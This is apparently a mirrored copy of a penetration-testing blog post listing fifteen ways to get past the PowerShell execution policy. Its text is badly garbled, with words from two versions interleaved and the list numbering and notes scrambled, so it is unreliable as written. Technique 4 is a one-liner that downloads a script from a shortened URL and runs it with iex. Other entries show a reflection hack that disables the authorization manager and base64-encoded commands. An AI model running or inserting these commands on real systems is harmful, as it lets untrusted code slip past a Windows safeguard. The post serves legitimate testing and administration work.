Bypass the PowerShell Execution Policy
💻 15 Ways to Bypass the PowerShell Execution Policy
Original Article:Source: NetSPI Blog
🧠 Introduction
ByPowerShell’s default,execution PowerShellpolicy is configureda safety feature designed to prevent the unintended execution of scriptsscripts. onHowever, Windows systems. This can pose challenges forduring penetration testers,tests systemor administrators,red andteam developers.operations, However,you theremay are multiple methodsneed to bypass thesethis restrictionsrestriction — without requiringadministrative local administrator rights.privileges.
1.🔐 Bypass Techniques
- Paste
the ScriptintoanInteractiveInteractiveConsole
Open a PowerShellConsoleSimply copyconsole and pasteyour PowerShellthe scriptdirectlydirectly.intoExecutionanpolicyinteractiveisconsole.notThisenforcedmethodline-by-line. - Echo
the Scriptand Pipeitto PowerShellStandard Input
Echoecho Write-Host "My voice is my passport, verify me." |PowerShell.exepowershell -noprofile -3. - Pipe File
and PipeContents to PowerShellStandard Input
Get-Content .\runme.ps1 |PowerShell.exepowershell -noprofile -TYPEtype .\runme.ps1 |PowerShell.exepowershell -noprofile -4. - Download
Script from URLand ExecutewithviaInvoke ExpressionIEX
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"5. - Use
the-CommandSwitchParameter
PowerShellpowershell -command "Write-Host 'MyExecutionvoicepolicy?isWhatmy passport, verify me.policy?'"6. - Use
theEncodedCommand
EncodeEncodeCommandyourSwitchscript into Base64 and pass it:$command = "Write-Host 'MyExecutionvoicepolicy?isWhatmy passport, verify me.policy?'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes)powershell.exepowershell -EncodedCommand $encodedCommand
2.
7.📘 Use the Invoke-Command CommandNotes
Invoke-Command
-ScriptBlock- Most
{Write-Hostmethods "Mydon’t voicerequire isadmin myrights.
passport,- These
verifyare me."}
8. Use the Invoke-Expression Command
Get-Content .\runme.ps1 | Invoke-Expression9. Use the “Bypass” Execution Policy Flag
PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps110. Use the “Unrestricted” Execution Policy Flag
PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps111. Use the “Remote-Signed” Execution Policy Flag
PowerShell.exe -ExecutionPolicy RemoteSigned -File .\runme.ps112. Disable ExecutionPolicy by Swapping out the AuthorizationManager
function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy
.\runme.ps113. Set the ExecutionPolicyhelpful for thepentesting, Processscripting, Scope
or Set-ExecutionPolicywhen Bypassgroup -Scopepolicy Processinterferes 14.with Setlegitimate theautomation.
ExecutionPolicy
Set-ExecutionPolicylaws -Scopewhen CurrentUserusing -ExecutionPolicythese UnRestrictedtechniques.15. Set the ExecutionPolicy for the CurrentUser Scope via the Registry
ModifyLast themirrored registryfrom key:NetSPI: https://www.netspi.com/blog/...
HKEY_CURRENT_USER\Softw